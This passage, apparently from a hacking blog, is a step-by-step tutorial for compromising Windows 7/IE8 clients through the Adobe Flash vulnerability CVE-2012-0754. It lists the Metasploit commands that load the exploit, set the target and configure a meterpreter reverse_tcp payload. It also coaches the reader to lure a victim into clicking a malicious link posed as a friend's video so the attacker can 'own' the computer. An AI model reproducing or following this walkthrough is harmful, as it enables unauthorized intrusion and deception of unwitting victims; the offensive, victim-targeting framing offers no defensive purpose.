we will be going
after that notoriously vulnerable Adobe Flash that is on nearly every
client Windows system (you are not likely to find it on servers).
Flash
and the other Adobe products have had a reputation for shoddy and
insecure design for quite awhile now. The problem is so bad, that Apple
will not allow Flash on its iOS operating system, angering many users,
but keeping iOS more secure and energy efficient.
Search Vulnerabilities
Go to www.securityfocus.com
and search the database for Adobe and then Flash Player, we get vulnerabilities with 20 vulnerabilities per page. Its obvious from
this listing that Flash is riven with security problems. We could spend weeks going through all the Adobe Flash Player vulnerabilities.
If
you are looking to attack a client machine on a network, you would be
well-served to spend your time on Adobe Flash. There are so many
vulnerabilities and new ones arrive daily!
Pick One
Let's take a look at one vulnerability known as CVE-2012-0754,
a remote memory corruption. It was found in the wild back in February
2012 and involves using a corrupted .mp4 file to create a buffer
overflow in Flash that enables the attacker to execute their own code.
Note that it works for Adobe Flash Player through 11.1.
we have to click on the "exploit" tab at the top of the page, it takes us to a
link to the exploit. We can then download or copy and paste that exploit
for use.
Use Metasploit
Open Metasploit and
find the exploits built to take advantage of the Adobe Flash Player
vulnerabilities. We wiil search for "flash" using the following command.
msf > search flash
There will be numerous flash exploits, but the highlighted one will be used here and it corresponds to CVE-2012-0754. Now let's use
it.
msf > use exploit/windows/browser/adobe_flash_mp4_cprt
When we type the following command, it will load the exploit into the console. Now let's get more info on it.
msf > info
Metasploit
returns for us some basic info on the exploit. The highlighted text is the
description in the screenshot above. In this info, we can also see that
this exploit has 'targets". To get the most reliable results, we want
to set the target.
In our case here, we are going after Windows 7 with IE8 , so we set the target to 6.
msf > set target 6
Set Options
Next we will set our options. We can see the options by typing:
msf > show options
We
need to set the SVRHOST and the payload at a minimum. We could also set
the SVRPORT, the URIPATH, and the SSL settings, but we will leave these
at their defaults here.
msf > set SVRHOST 192.168.1.104
msf > set payload windows/meterpreter/reverse_tcp
Once
we set the payload, we need to check options as payloads
have their own set of options. When doing so, we will see that we need to set
the LHOST (the IP of our local host) for the meterpreter.
msf > set LHOST 192.168.1.104
Step 5: Exploit!
With all the parameters we need set, all we need to do type is:
msf> exploit
This
will now generate a corrupted .mp4 file and will host it on the
Metasploit web server. Now we need to send that link to
the victim and hope they click on it or make them click on link. For instance, you could send it to
a "friend" saying "Hey, check out this great new video!"
When victim clicks on it, Metasploit will send the .mp4 file to their browser creating a buffer overflow as seen below.
This exploit doesn't work 100% of the time, more like
50%. If it will succeed ,a meterpreter prompt will be opened and you will own victim's computer!
Hacking
modern operating systems is becoming more and more difficult as
Microsoft and other software vendors become more security focused. But a hacker ALWAYS finds a way in, if they are persistent and
creative.
Sources such as SecurityFocus and other vulnerability databases (even Microsoft's own) are constantly logging vulnerabilities and the effective hacker needs to stay one step ahead of the software vendors.
No comments: